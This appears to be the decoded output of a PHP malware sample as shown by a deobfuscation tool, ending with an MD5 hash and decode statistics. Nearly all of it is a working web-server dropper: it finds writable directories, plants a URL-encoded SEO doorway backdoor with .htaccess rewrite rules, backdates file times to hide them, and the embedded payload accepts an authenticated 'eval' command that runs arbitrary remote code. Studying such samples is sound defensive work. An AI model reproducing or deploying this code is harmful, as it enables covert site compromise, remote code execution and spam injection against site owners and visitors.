29%29%3Bif%20%28isset%28%24_6pfzvk6r%5B%27ak%27%5D%29%20%26%26%20_er50gh%3A%3A%24_wqq8o3s4%20%3D%3D%20%24_6pfzvk6r%5B%27ak%27%5D%29%20%7Bif%20%28%24_6pfzvk6r%5B%27a%27%5D%20%3D%3D%20%27doorway2%27%29%20%7Bif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27check%27%29%20%7B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_skc19%28explode%28%22/%22%2C%20_er50gh%3A%3A%24_hz9omu24%29%2C%20%22%22%29%3B%24_x0013v0w%20%3D%20%40unserialize%28%24_x0013v0w%29%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%22cache%22%20%3D%3E%20_v6ya63%3A%3A_vga85%28%29%2C%22keywords%22%20%3D%3E%20count%28_xyxad4u%3A%3A_3ap03%28%29%29%2C%22templates%22%20%3D%3E%20_cwqzsic%3A%3A_moy7x%28%29%29%29%3B%7Dexit%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27templates%27%29%20%7Bforeach%20%28%24_6pfzvk6r%5B%22templates%22%5D%20as%20%24_swlicjbm%29%20%7B_cwqzsic%3A%3A_g7wwk%28%24_swlicjbm%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7D%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27keywords%27%29%20%7B_xyxad4u%3A%3A_g7wwk%28%24_6pfzvk6r%5B%22keywords%22%5D%29%3B_er50gh%3A%3A_0cgo1%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27update_sitemap%27%29%20%7B_er50gh%3A%3A_0cgo1%28TRUE%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27pages%27%29%20%7B%24_pdaxmdge%20%3D%200%3B%24_265utrew%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3Bif%20%28_cwqzsic%3A%3A_moy7x%28%29%20%3E%200%29%20%7Bforeach%20%28%24_6pfzvk6r%5B%27pages%27%5D%20as%20%24_hgj2uuv9%29%20%7B%24_1gi3w6uw%20%3D%20_v6ya63%3A%3A_q42pz%28%24_hgj2uuv9%5B%22keyword%22%5D%29%3Bif%20%28empty%28%24_1gi3w6uw%29%29%20%7B%24_1gi3w6uw%20%3D%20new%20_v6ya63%28_cwqzsic%3A%3A_8dnv4%28%29%2C%20%24_hgj2uuv9%5B%22text%22%5D%2C%20%24_hgj2uuv9%5B%22keyword%22%5D%2C%20_er50gh%3A%3A_ncv5m%28_er50gh%3A%3A%24_loyjoas0%2C%20_er50gh%3A%3A%24_p0pykfqo%29%29%3B%24_1gi3w6uw-%3E_g7wwk%28%29%3B%24_pdaxmdge%20%2B%3D%201%3Bif%20%28%21in_array%28%24_hgj2uuv9%5B%22keyword%22%5D%2C%20%24_265utrew%29%29%20%7B_xyxad4u%3A%3A_7z4dg%28%24_hgj2uuv9%5B%22keyword%22%5D%29%3B%7D%7D%7D%7Decho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22pages%22%20%3D%3E%20%24_pdaxmdge%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%22sa%22%5D%20%3D%3D%20%22ping%22%29%20%7B%24_q6pxtlu6%20%3D%20_er50gh%3A%3A_5k4u7%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22result%22%20%3D%3E%20%28int%29%24_q6pxtlu6%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%22sa%22%5D%20%3D%3D%20%22robots%22%29%20%7B%24_q6pxtlu6%20%3D%20_er50gh%3A%3A_b4fbz%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22result%22%20%3D%3E%20%28int%29%24_q6pxtlu6%29%29%3B%7D%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27eval%27%29%20%7Beval%28%24_6pfzvk6r%5B%22data%22%5D%29%3Bexit%3B%7D%7D%7D%24_0rm86w7s%20%3D%20new%20_er50gh%28%29%3Bif%20%28%24_0rm86w7s-%3E_ih05m%28%29%29%20%7B%24_0rm86w7s-%3E_lhhd6%28%29%3B%7Dexit%28%29%3B";
$payload_url = "";
$payload_type = "TYPE_DIR";
srand(time());
$common_names = Array(
"blog",
"forum",
"site",
"docs",
"journal",
"archive",
"article",
"articles",
"page",
"pages",
"viewtopic",
"tag",
"tags",
"id",
"topic",
"topics",
"wiki",
"review",
"reviews",
"category",
"slug",
);
$common_names2 = Array(
"viewtopic",
"page",
"article",
"archive",
);
$common_names3 = unserialize(rawurldecode("a%3A10%3A%7Bi%3A0%3Bs%3A10%3A%22lisa-duffy%22%3Bi%3A1%3Bs%3A6%3A%22PoVpPt%22%3Bi%3A2%3Bs%3A8%3A%22for-sale%22%3Bi%3A3%3Bs%3A8%3A%22jVLvTlfK%22%3Bi%3A4%3Bs%3A6%3A%22cna-to%22%3Bi%3A5%3Bs%3A4%3A%22CTKs%22%3Bi%3A6%3Bs%3A15%3A%22barstow-rentals%22%3Bi%3A7%3Bs%3A3%3A%22ePL%22%3Bi%3A8%3Bs%3A14%3A%22bubble-numbers%22%3Bi%3A9%3Bs%3A6%3A%22IfGgfX%22%3B%7D"));
/////////////////////////////////////////////////////////
function comparer($a, $b)
{
return strlen($a) - strlen($b);
}
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data)
{
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
function GetPathDiff($base_path, $full_path)
{
$pos = strpos($full_path, $base_path);
if ($pos === FALSE) {
return FALSE;
}
return substr($full_path, $pos + strlen($base_path));
}
function GetWritableDirs()
{
$res = Array();
$analysys_queue = Array();
$analysys_queue[] = GetDocRoot();
$self_path = $_SERVER['SCRIPT_FILENAME'];
while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE) {
$self_path = substr($self_path, 0, $slash);
if ($self_path == GetDocRoot()) {
break;
}
if (strlen($self_path)) {
$analysys_queue[] = $self_path;
}
}
foreach ($analysys_queue as $current_dir) {
if (!in_array($current_dir, $res)) {
$res = array_merge($res, GetDirectoryList($current_dir));
}
}
$res = array_merge($analysys_queue, $res);
return CheckWritable(array_unique($res));
}
function CheckWritable($dir_list)
{
$dir_list_writable = Array();
foreach ($dir_list as $dir) {
if (@is_writable($dir) == TRUE) {
$dir_list_writable[] = $dir;
}
}
return $dir_list_writable;
}
function GetDirectoryList($dir, $depth = 10)
{
$result = array();
$dir_count = 0;
if ($depth == 0) {
return $result;
}
$dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/');
$h = @opendir($dir);
if ($h === FALSE) {
return $result;
}
while (($f = readdir($h)) !== FALSE) {
if ($f !== '.' and $f !== '..') {
$current_dir = "$dir/$f";
if (is_dir($current_dir)) {
$dir_count += 1;
if ($dir_count >= $depth) {
break;
}
$result[] = $current_dir;
$result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));
}
}
}
closedir($h);
return $result;
}
function GetDocRoot()
{
$docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
if ($docroot_end === FALSE) {
return $_SERVER['DOCUMENT_ROOT'];
} elseif ($docroot_end === 0) {
return "/";
} else {
return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
}
}
function GetRandStr($min, $max)
{
$length = rand($min, $max);
$characters = '0123456789abcdefghijklmnopqrstuvwxyz';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
////////////////////////////////////////////////////////////////////////////////////////////
# get base local and remote path
$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = GetDocRoot();
if (!($base_local_path_time = @stat($base_local_path . "/.htaccess"))) {
if (!($base_local_path_time = @stat($base_local_path . "/index.php"))) {
if (!($base_local_path_time = @stat($base_local_path . "/index.html"))) {
if (!($base_local_path_time = @stat($base_local_path . "/.."))) {
if (!($base_local_path_time = @stat($base_local_path))) {
$base_local_path_time = Array();
$base_local_path_time['mtime'] = time();
}
}
}
}
}
$htaccess = "%3CIfModule%20mod_rewrite.c%3E%0D%0ARewriteEngine%20On%0D%0ARewriteRule%20%5Eindex%5C.php%24%20-%20%5BL%5D%0D%0ARewriteCond%20%25%7BREQUEST_FILENAME%7D%20%21-f%0D%0ARewriteCond%20%25%7BREQUEST_FILENAME%7D%20%21-d%0D%0ARewriteRule%20%5E%28.%2A%29%24%20.%2Findex.php%20%5BL%5D%0D%0A%3C%2FIfModule%3E";
$base_local_path_time = $base_local_path_time['mtime'];
if (!empty($payload_url))
{
if (substr($payload_url, -1) == "/")
{
$payload_url = $payload_url . "index.php";
}
$tokens = explode("/", $payload_url, 4);
$payload_path = $base_local_path . DIRECTORY_SEPARATOR . $tokens[3];
@mkdir(dirname($payload_path), 0755);
@file_put_contents($payload_path, rawurldecode($payload_file));
@file_put_contents(dirname($payload_path) . "/.htaccess", rawurldecode($htaccess));
@touch($payload_path, time() + 120);
echo "URL#" . $payload_url . PHP_EOL;
exit();
}
srand(time());
$dir_list_writable = GetWritableDirs();
if (count($dir_list_writable) == 0) {
echo "STATUS_UNWRITABLE";
exit();
}
usort($dir_list_writable, 'comparer');
$max_tries = 5;
foreach ($dir_list_writable as $current_dir)
{
if ($max_tries == 0)
{
break;
}
$max_tries -= 1;
if (TRUE)
{
if (rand() % 2)
{
$temp_payload_dir = $current_dir . DIRECTORY_SEPARATOR . GetRandStr(5, 8);
}
else
{
$temp_payload_dir = $current_dir . DIRECTORY_SEPARATOR . $common_names3[array_rand($common_names3)];
}
if (@file_exists($temp_payload_dir))
{
continue;
}
@mkdir($temp_payload_dir, 0755);
@touch($temp_payload_dir, $base_local_path_time);
if (!@is_dir($temp_payload_dir))
{
continue;
}
}
else
{
$temp_payload_dir = $current_dir;
}
while (TRUE)
{
if ($payload_type === "TYPE_DIR")
{
$mode = 2;
}
elseif ($payload_type === "TYPE_FILE")
{
$mode = 1;
}
else
{
$mode = rand() % 2;
}
if ($mode === 0)
{
$full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . GetRandStr(5, 7) . ".php";
break;
}
elseif ($mode === 1)
{
$full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . $common_names2[array_rand($common_names2)] . ".php";
if (!@file_exists($full_payload_name))
{
break;
}
}
else
{
$full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . "index.php";
@file_put_contents($temp_payload_dir . DIRECTORY_SEPARATOR . ".htaccess", rawurldecode($htaccess));
break;
}
}
$uri_path = GetPathDiff($base_local_path, $full_payload_name);
$full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/" . $uri_path);
@file_put_contents($full_payload_name, rawurldecode($payload_file));
if (@file_exists($full_payload_name)) {
@touch($full_payload_name, time() + 120);
echo "URL#http://" . str_replace("index.php", "", $full_uri) . PHP_EOL;
exit();
}
}
echo "STATUS_CANTUPLOAD";
exit();
Function Calls
defined | 1 |
Stats
MD5 | 49ebe3fb44ea2d4511016aa933389b6c |
Eval Count | 0 |
Decode Time | 118 ms |